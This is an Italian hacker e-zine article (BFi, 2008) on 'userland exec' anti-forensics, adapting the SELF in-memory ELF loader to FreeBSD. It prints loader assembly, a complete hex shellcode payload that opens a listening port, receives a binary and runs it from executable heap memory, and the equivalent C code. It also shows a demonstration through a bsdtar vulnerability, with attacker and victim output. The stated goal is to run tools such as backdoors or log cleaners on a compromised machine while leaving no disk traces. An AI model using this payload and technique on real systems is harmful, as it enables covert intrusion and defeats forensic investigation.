============================================================================== --------------------[ BFi14-dev - file 08 - 03/03/2008 ]---------------------- ============================================================================== -[ DiSCLAiMER ]--------------------------------------------------------------- Tutto il materiale contenuto in BFi ha fini esclusivamente informativi ed educativi. Gli autori di BFi non si riterranno in alcun modo responsabili per danni perpetrati a cose o persone causati dall'uso di codice, programmi, informazioni, tecniche contenuti all'interno della rivista. BFi e' libero e autonomo mezzo di espressione; come noi autori siamo liberi di scrivere BFi, tu sei libero di continuare a leggere oppure di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati e/o dal modo in cui lo sono, * interrompi immediatamente la lettura e cancella questi file dal tuo computer * . Proseguendo tu, lettore, ti assumi ogni genere di responsabilita` per l'uso che farai delle informazioni contenute in BFi. Si vieta il posting di BFi in newsgroup e la diffusione di *parti* della rivista: distribuite BFi nella sua forma integrale ed originale. ------------------------------------------------------------------------------ -[ HACKiNG ]------------------------------------------------------------------ ---[ WEAP0NiZE Y0UR SELF ]---------------------------------------------------- -----[ snagg ]------------------------------------------ Introduzione Nell'articolo verra' esposta una tecnica di data contraception[1] gia' conosciuta da tempo, la userland exec ed alcuni suoi interessanti usi. Capita spesso di avere un'applicazione vulnerabile su una macchina che aspetta solo di essere sfruttata, resta ovviamente il problema di riuscire a nascondere le proprie tracce dopo averlo fatto (Encase e' dietro l'angolo); questo e' l'obiettivo dell'antiforense. Tra le tecniche di antiforense esistono quelle che cercano di nascondere i dati sebbene essi siano presenti sulla macchina e quelle che cercano di evitare di crearne, la data contraception e' una di queste. Supponiamo che io abbia un pezzo di codice (un log cleaner, una backdoor, un altro exploit locale per una vulnerabilita' che mi garantira' uid 0) e non voglia che questo venga trasferito sulla macchina della vittima, sarebbe bello poter injectare del codice in memoria senza lasciare tracce sull'hard disk; questo e' cio' che si propone di fare la userland exec. Userland, SELF and such Quando vogliamo lanciare un programma tipicamente su un sistema UNIX viene invocata una syscall (execve) che si occupa di creare uno stack adeguato per la nostra applicazione, leggere l'ELF ed eseguirlo. The grugq[1] ha dimostrato come sia possibile evitare di scomodare il kernel e fare in modo che tutte le azioni svolte dal kernel vengano fatte ad user space, dunque ci si occupera' di creare uno stack adeguato, si leggera' l'ELF e lo si carichera' esattamente dove si aspetta di essere, per fare questo the grugq si era basato su un'"interfaccia" a gdb[1]. Tuttavia risulta poco probabile che su una macchina in produzione si trovi gdb, che un processo del genere non venga "notato" da un qualunque sysadmin e in particolar modo che non si possano creare delle "signature" per i comandi che vengono inviati a gdb. Nasce cosi' SELF[2], in questo caso non viene usato alcun tipo di tool presente sulla macchina da attaccare, ma si crea un pezzo di codice che faccia da loader del binario che vogliamo caricare in memoria, in questo modo avremo un perfetto vettore di attacco che puo' funzionare in condizioni "reali", si pensi ad esempio ad un ambiente chroot o ad un server, senza destare sospetti di sorta. Per ulteriori informazioni su SELF e per non perdere parti importanti di quanto diremo in seguito siete calorosamente invitati a leggere la [2]. SELF-analysis Prima di procedere oltre nell'articolo sara' necessario spiegare l'esatto funzionamento di questo oggetto. Un Elf e' una struttura molto complessa al cui interno sono contenuti, tra le altre cose, i program header; essi sono fondamentali quando si vuole far eseguire un binario. Infatti al loro interno e' indicata la struttura del programma stesso[3]. Come gia' accennato nell'introduzione, quando viene chiamata l'execve il kernel si occupa, tra le altre cose, di creare uno stack iniziale per il nuovo binario. Lo stack sara' costituito dalle variabili d'ambiente, gli argomenti da linea di comando e il numero degli argomenti (tipicamente argv e argc), tutto cio' strutturato in una maniera "standard". Quindi se volessimo lanciare un binario senza interpellare il kernel cio' che dovremmo fare sarebbe creare uno stack identico a quello che avrebbe creato il kernel per il nostro ELF, leggere i program header e copiare i segmenti di codice del binario dove si aspettano di essere copiati. Le parti che compongono SELF (un payload, un autoloader e l'ELF da injectare) si occupano di compiere queste operazioni affiancati dalla magnanimita' dei processi residenti e dalle loro vulnerabilita'. Infatti il payload verra' usato come shellcode di un exploit che ci garantira' l'accesso allo spazio di un processo vittima, in seguito si mettera' in ascolto su una porta in attesa che gli venga consegnato l'ELF. Questo a suaELF Unica constraint di questo bellissimo oggetto e' quella di poter caricare solo ELF statici. One step ahead Ora il lettore attento si potra' chiedere "ma per quale assurdo motivo questo tipo sta scrivendo un howto su un tool di altri"? In realta' sebbene l'idea dietro SELF sia decisamente buona, l'implementazione soffre di alcune problematiche su qualunque sistema che non sia Linux 2.4; nello specifico l'autore era interessato a far funzionare il tutto su FreeBSD 6.2 x86. Sommariamente ho accennato prima a due cose molto importanti, ovvero "un ELF ha una struttura molto complessa" e "l'ELF verra' a sua volta modificato per contenere al suo interno un loader", combiniamo insieme le due cose e riportiamole su un piano meno astratto: dove metto delle informazioni su un pezzo di codice in un ELF in modo tale che sia facilmente raggiungibile da un piccolo payload? La risposta, come detto prima, e' dove metterei le informazioni di qualunque altro codice: in un program header. Qui inizia il primo problema, l'ABI di FreeBSD e quella di Linux non coincidono, vediamo perche': snagg@freebsd ~$ readelf -l test Elf file type is EXEC (Executable file) Entry point 0x80483cc There are 5 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0x005fd 0x005fd R E 0x1000 LOAD 0x000600 0x08049600 0x08049600 0x000d8 0x000f8 RW 0x1000 Questa e' come appare la program header table di un ELF statico su FreeBSD. Mentre questa e' quella di un eseguibile Linux: snagg@linux ~ $ readelf -l test Elf file type is EXEC (Executable file) Entry point 0x8048130 There are 6 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0x6ec16 0x6ec16 R E 0x1000 LOAD 0x06ec18 0x080b7c18 0x080b7c18 0x007bc 0x021d0 RW 0x1000 NOTE 0x0000f4 0x080480f4 0x080480f4 0x00020 0x00020 R 0x4 TLS 0x06ec18 0x080b7c18 0x080b7c18 0x00010 0x00028 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 PAX_FLAGS 0x000000 0x00000000 0x00000000 0x00000 0x00000 0x4 Per quanti di voi non abbiano letto la [3] basti sapere che i program header di tipo LOAD sono fondamentali per l'esecuzione di un ELF e dunque non possono essere sovrascritti. A questo punto apparira' chiaro all'orizzonte il problema: su FreeBSD non ci sono program header "inutili". Ci restano due strade: 1) aggiungere all'ELF manualmente un program header con tutto quello che comporta; 2) fare in modo che non sia realmente necessario un program header tutto per noi. La prima strada e' decisamente poco praticabile, infatti se cambiassimo la struttura della program header table andremmo incontro ad un grosso problema, quello di dover rilocare tutto il codice. La magia di SELF si basa sulla possiblita' di poter copiare il codice dove si aspetta di essere copiato, altrimenti dei jump assoluti, chiamate assolute e quant'altro non sarebbero piu' al loro posto obbligandoci a dover rilocare il codice, cosa decisamente non banale. Si tratterebbe di vedere dove l'ELF verra' copiato e trovare il modo di costruire l'ELF con i nuovi indirizzi. Per quanto riguarda la seconda possibilita', resta il problema di dove trovare le informazioni necessarie per rintracciare lo stack pre-confezionato, capire quando copiarlo e dove, questo codice spiega meglio cio' che voglio dire: .loader_next_phdr: // Check program header type (eax): PT_LOAD or PT_STACK movl (%edx),%eax // If program header type is PT_LOAD, jump to .loader_phdr_load // and load the segment referenced by this header cmpl $PT_LOAD,%eax je .loader_phdr_load // If program header type is PT_STACK, jump to .loader_phdr_stack // and load the new stack segment cmpl $PT_STACK,%eax je .loader_phdr_stack // If unknown type, jump to next header addl $PHENTSIZE,%edx jmp .loader_next_phdr For each PT_LOAD segment (text/data) do the following: * loading step 1.4: continue with next header: addl $PHENTSIZE,%edx jmp .loader_next_phdr * loading step 2: when both text and data segments have been loaded correctly, it's time to setup a new stack: .loader_phdr_stack: movl PHDR_OFFSET(%edx),%esi addl %ebp,%esi movl PHDR_VADDR(%edx),%edi movl PHDR_MEMSZ(%edx),%ecx repz movsb Questo e' il segmento di codice che si occupa di caricare in memoria il nuovo ELF, nello specifico il nuovo stack. Come si puo' vedere vengono parsati i program header quelli di tipo LOAD vengono copiati in memoria mentre quando ne viene trovato uno di tipo PT_STACK (tipologia creata dagli autori di SELF per indicare il program header che contiene lo stack) viene copiato il nuovo stack sullo stack precedente in modo tale che esso sia inizializzato con le variabili dell'ELF che vogliamo lanciare. Come possiamo vedere in ph->offset, ph->vaddr e ph->memsz sono salvati alcuni indirizzi fondamentali che ci permettono di sapere dove e da dove copiare lo stack. Dunque dobbiamo trovare dei campi all'interno dell'ELF dove salvare le informazioni che ci interessano. Dopo un'attenta lettura sugli ELF ho scoperto che alcuni cambi dell'header principale non sono esattamente "vitali" per l'esecuzione e che invece di parsare tutti i program header vi era un modo banale di capire quando "fermarsi" e passare alla copia del nostro stack, infatti onde evitare di creare un codice mastodontico ci serve un modo facile di rintracciare all'interno della struttura dell'ELF un contatore che ci indicasse quando saltare al codice che copia lo stack. Sfruttando il fatto che le uniche informazioni necessarie ad un ELF per essere lanciato sono i program header load e che all'interno della struttura principale vi e' un contatore di program header, giungiamo a questo codice: .loader_next_phdr: movl (%edx),%eax cmpb $0, EHDR_PHNUM(%ebp) je .loader_phdr_stack decb EHDR_PHNUM(%ebp) // If program header type is PT_LOAD, jump to .loader_phdr_load // and load the segment referenced by this header cmpl $PT_LOAD,%eax je .loader_phdr_load // If unknown type, jump to next header addl $PHENTSIZE,%edx jmp .loader_next_phdr .loader_phdr_stack: movl EHDR_SHOFF(%ebp),%esi //just the new location of the whole //stack (EHDR *) addl %ebp,%esi movl EHDR_FLAGS(%ebp),%edi movl EHDR_VERSION(%ebp),%ecx repz movsb Per prima cosa invece di leggere tutti i program header finche' non si trova lo stack, usiamo un contatore che ci e' naturalmente fornito dall'ELF stesso eh->phnum e lo decrementiamo finche' non finiscono i program header, finito di copiare quelli di tipo PT_LOAD si arriva a copiare lo stack, per fortuna un header ELF e' pieno di campi non sempre utili. Dunque avremo in eh->shoff eh->flags ed eh->version le informazioni che prima erano contenute nei campi del program header; in questo modo siamo in grado di copiare lo stack senza doverci curare del comportamento dell'ABI del sistema operativo. Vi invito a leggere il codice in allegato per capire meglio la funzione di questo segmento di codice e del restante che non ho mostrato. Weaponize Risolto questo primo problema ve ne era un altro, ovvero: non esisteva nessun payload pronto per essere lanciato sulla macchina da attaccare. Eccolo qui: "\x55\x89\xe5\x53\x83\xec\x44\x83" "\xe4\xf0\x31\xc0\x83\xc0\x0f\x83" "\xc0\x0f\xc1\xe8\x04\xc1\xe0\x04" "\x29\xc4\x83\xec\x04\x31\xd2\x52" "\x52\x6a\xff\x66\xb9\x02\x10\x51" "\x31\xc9\x6a\x07\xb9\x01\xe1\xf5" "\x05\x51\x31\xc9\x52\x31\xc0\xb0" "\xc5\x50\xcd\x80\x83\xc4\x20\x89" "\x45\xc4\xc6\x45\xc9\x02\x83\xec" "\x0c\x66\xb8\xae\x08\x66\x89\xc1" "\x66\x89\xc8\x86\xe0\x0f\xb7\xc0" "\x66\x89\x45\xca\x89\x55\xcc\x83" "\xec\x04\x52\x6a\x01\x6a\x02\x31" "\xc0\xb0\x61\x50\xcd\x80\x83\xc4" "\x10\x89\x45\xf0\x83\x7d\xf0\xff" "\x75\x0c\x83\xec\x0c\x6a\xff\x31" "\xc0\xb0\x01\x50\xcd\x80\x83\xec" "\x04\x6a\x10\x8d\x45\xc8\x50\xff" "\x75\xf0\x31\xc0\xb0\x68\x50\xcd" "\x80\x83\xc4\x10\x83\xf8\xff\x75" "\x0c\x83\xec\x0c\x6a\xff\x31\xc0" "\xb0\x01\x50\xcd\x80\x83\xec\x08" "\x6a\x0a\xff\x75\xf0\x31\xc0\xb0" "\x6a\x50\xcd\x80\x83\xc4\x10\x83" "\xf8\xff\x75\x0c\x83\xec\x0c\x6a" "\xff\x31\xc0\xb0\x01\x50\xcd\x80" "\x83\xec\x04\x52\x52\xff\x75\xf0" "\x31\xc0\xb0\x1e\x50\xcd\x80\x83" "\xc4\x10\x89\x45\xec\x83\x7d\xec" "\xff\x75\x0c\x83\xec\x0c\x6a\xff" "\x31\xc0\xb0\x01\x50\xcd\x80\x89" "\x55\xe8\xb1\xfe\x39\x4d\xe8\x7f" "\x3e\x31\xc0\x50\x50\x6a\x02\x6a" "\x04\x8d\x45\xf4\x50\xff\x75\xe8" "\x31\xc0\xb0\x1d\x50\xcd\x80\x83" "\xc4\x10\x83\xf8\x04\x75\x1a\x8d" "\x45\xf4\x83\xec\x04\x80\x78\x01" "\x45\x75\x0e\x80\x78\x02\x4c\x75" "\x08\x80\x78\x03\x46\x75\x02\xeb" "\x06\x83\x45\xe8\x01\xeb\xbb\x31" "\xc0\x50\x50\x6a\x40\x68\x01\xe1" "\xf5\x05\xff\x75\xc4\xff\x75\xe8" "\x31\xc0\xb0\x1d\x50\xcd\x80\x83" "\xc4\x10\x8b\x45\xc4\x83\xc0\x09" "\x89\x45\xe4\x8b\x4d\xe4\x8b\x55" "\xe4\x8b\x45\xc4\x03\x02\x89\x01" "\x8b\x4d\xc4\x8b\x45\xe4\x8b\x18" "\x51\xff\xe3\x31\xc0\x8b\x5d\xfc" "\xc9\xc3\x90\x90\x55\x89\xe5\x53" "\x52\xbb\x84\x97\x04\x08\xa1\x84" Questa quantita' gigantesca di codice non fa altro che allocare dello spazio nello heap dove salvare l'ELF , aprire una porta e mettersi in ascolto per ricevere il binario infine saltare all'indirizzo in cui e' salvato l'autoloader (che per comodita' e' stato semplicemente concatenato alla fine dell'ELF da injectare). Per renderlo piu' comprensibile di seguito vi e' il codice C: buf = (unsigned char*)mmap(0, MAX_OBJECT_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0); addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[1])); addr.sin_addr.s_addr = 0; if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(errno); } if (bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) { perror("bind()"); exit(errno); } if (listen(sfd, 10) == -1) { perror("listen()"); exit(errno); } if ((nsfd = accept(sfd, NULL, NULL)) == -1) { perror("accept()"); exit(errno); } for (i = 0 ; i < 255 ; i++) { if (recv(i, tmp, 4, MSG_PEEK) == 4) { if (!strncmp(&tmp[1], "ELF", 3)) break; } } recv(i, buf, MAX_OBJECT_SIZE, MSG_WAITALL); ldr_ptr = (unsigned long *)&buf[9]; *ldr_ptr += (unsigned long)buf; __asm__( "push %0\n" "jmp *%1" : : "c"(buf),"b"(*ldr_ptr) ); Real-life Nell'esempio usero' una vulnerabilita' di bsdtar (CVE-2007-3641), il poc (scritto da me e Raistlin) non e' pubblico. A grandi linee si crea un archivio pax malformato. Al suo interno inseriremo il nostro payload, e qui i risultati: snagg@zero $ file /usr/ports/security/nmap/work/nmap-4.20/nmap /usr/ports/security/nmap/work/nmap-4.20/nmap: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, not stripped Ci assicuriamo che l'ELF che stiamo caricando sia statico snagg@one $ uname -a FreeBSD one 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Mon Jun 25 11:15:26 CEST 2007 i386 La nostra FreeBSD snagg@one $ /usr/ports/archivers/libarchive/work/libarchive-2.2.3/bsdtar -xvf exploit_bsdtar_new.pax Lanciamo l'exploit sulla macchina vittima snagg@zero $ ./builder 192.168.2.50 2222 /usr/ports/security/nmap/work/nmap-4.20/nmap ";192.168.2.10" "" E il builder (il programma che si occupa di creare l'ELF) dalla macchina attaccante Starting Nmap 4.20 ( http://insecure.org ) at 2007-12-20 10:32 CET Unable to find nmap-services! Resorting to /etc/services Interesting ports on xxx (192.168.2.10): Not shown: 1459 closed ports PORT STATE SERVICE 22/tcp open ssh Nmap finished: 1 IP address (1 host up) scanned in 0.484 seconds Questo l'output sulla macchina vittima. Ovviamente al posto di nmap poteva essere lanciata qualunque altra cosa, e' interessante inoltre notare che non solo non vengono lasciate instanze del codice sulla macchina vittima, ma non si fa ricorso al kernel quindi si evita qualunque problema di execve trapping e last but not least l'unico modo per discriminare il comportamento di bsdtar da quello di nmap dopo l'injection e' quello di fare tracing delle syscall, null'altro e' cambiato del processo vittima. Conclusioni Ancora molto potrebbe essere fatto, modificare il tutto per farlo andare su sistemi operativi con la randomizzazione dello stack, fare in modo che l'ELF quando viene inviato sia crittato e poi decrittato dal payload (grazie twiz), etc etc. C'e' solo la vostra fantasia da far lavorare, io mi fermo qui. Per qualunque consiglio/critica/quelchevolete vi prego di scrivermi. Ringraziamenti Prima di tutto a Ga che mi sopporta continuamente, poi a Raistlin e Phretor (tnx bro, anche voi per la capacita' di sopportarmi), Zen (non credo tu sappia perche' :)), Nextie, Nose e Rookie per i consigli e i ragazzi di BFi per avermi permesso di scrivere (specie twiz per i consigli, se l'articolo e' human-readable e' grazie a lui). Reference [1] FIST! FIST! FIST! Its all in the wrist: Remote Exec, the grguq http://www.phrack.org/issues.html?issue=62&id=8 [2] Advanced Antiforensics : SELF, pluf & ripe http://www.phrack.org/issues.html?issue=63&id=11 [3] The Executable and Linking Format (ELF) http://www.cs.ucdavis.edu/~haungs/paper/node10.html -[ WEB ]---------------------------------------------------------------------- http://bfi.s0ftpj.org [main site - IT] http://bfi.slackware.it [mirror - IT] http://bfi.freaknet.org [mirror - AT] http://bfi.anomalistic.org [mirror - SG] http://bfi.teamcobalt.org [mirror - USA] -[ E-MAiL ]------------------------------------------------------------------- bfi@s0ftpj.org -[ PGP ]---------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374 nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3 TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1 c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo= =o7CG -----END PGP PUBLIC KEY BLOCK----- ============================================================================== -----------------------------------[ EOF ]------------------------------------ ==============================================================================